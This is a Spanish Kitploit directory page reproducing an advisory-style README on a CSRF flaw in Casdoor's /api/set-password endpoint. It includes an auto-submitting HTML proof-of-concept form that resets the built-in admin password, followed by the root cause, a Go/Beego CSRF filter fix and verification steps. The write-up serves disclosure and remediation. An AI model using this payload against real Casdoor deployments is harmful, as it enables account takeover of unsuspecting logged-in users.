Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
csrf_casdoor | Kitploit
Herramientas/GitHubGitHub/vanlam2001/csrf_casdoor
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAutenticación
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Casdoor – Cross-Site Request Forgery (CSRF)

Resumen

  • Vulnerabilidad: CSRF en /api/set-password que permite cambios de contraseña sin consentimiento.
  • Versiones afectadas: Todas las versiones del software están afectadas. Actualmente no hay una versión parcheada disponible.
  • CVE: CVE-2023-34927 (la más reciente aún por asignar).
  • Autor del exploit: Van Lam Nguyen.
  • Probado en: Windows

Impacto

  • Si una víctima tiene una sesión iniciada en Casdoor, un POST entre sitios puede cambiar la contraseña de la víctima (p. ej., built-in/admin), lo que lleva a la toma de control de la cuenta.

Prerrequisitos del ataque

  • La víctima está autenticada y tiene una cookie casdoor_session_id válida.
  • La víctima visita una página maliciosa que envía automáticamente un POST a /api/set-password.

Prueba de concepto

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Causa raíz

  • Los endpoints que cambian el estado bajo /api/* aceptan solicitudes autenticadas por cookie sin aplicar comprobaciones de mismo origen (Origin/Referer) ni tokens CSRF.

Resumen de la corrección

  • Añadir un filtro CSRF del lado del servidor para denegar solicitudes POST/PUT/DELETE/PATCH entre sitios basadas en cookie bajo /api/*.
  • Permitir solicitudes que lleven autenticación explícita sin cookie (p. ej., Authorization, autenticación Basic, credenciales de cliente o accessToken) o solicitudes sin cookies de sesión del navegador (llamadas típicas de servidor a servidor).

Implementación

  • Usar routers.CSRFFilter implementado en csrf_filter.go. Este filtro:
    • Retorna de forma anticipada para métodos que no cambian el estado.
    • Permite solicitudes con autenticación explícita sin cookie.
    • Bloquea solicitudes entre sitios cuando hay una cookie de sesión presente y el origen no coincide con el host.

Cómo integrarlo en Casdoor

  1. Copia csrf_filter.go al paquete routers existente del proyecto Casdoor. No modifiques ni elimines nada de este archivo.
  2. Registra el filtro al inicio del pipeline HTTP (dentro de main):
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verificación

  • Después de registrar el filtro, reproduce la PoC anterior con la sesión iniciada. La solicitud debe ser denegada con Unauthorized operation y el servidor debe registrar CSRF check failed.
  • Las llamadas API de origen cruzado que incluyan cabeceras Authorization o parámetros accessToken deberían seguir funcionando.

Archivos del repositorio

  • csrf_filter.go: filtro CSRF que se copia al paquete routers de Casdoor.
  • poc.html: página mínima que reproduce el ataque CSRF.
  • README.md: este documento que describe la vulnerabilidad y los pasos de corrección.

Referencias

  • Casdoor: https://casdoor.org/
  • Versión: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Vídeo

  • Youtube: https://youtu.be/N5VENgiObjY
Descargar herramienta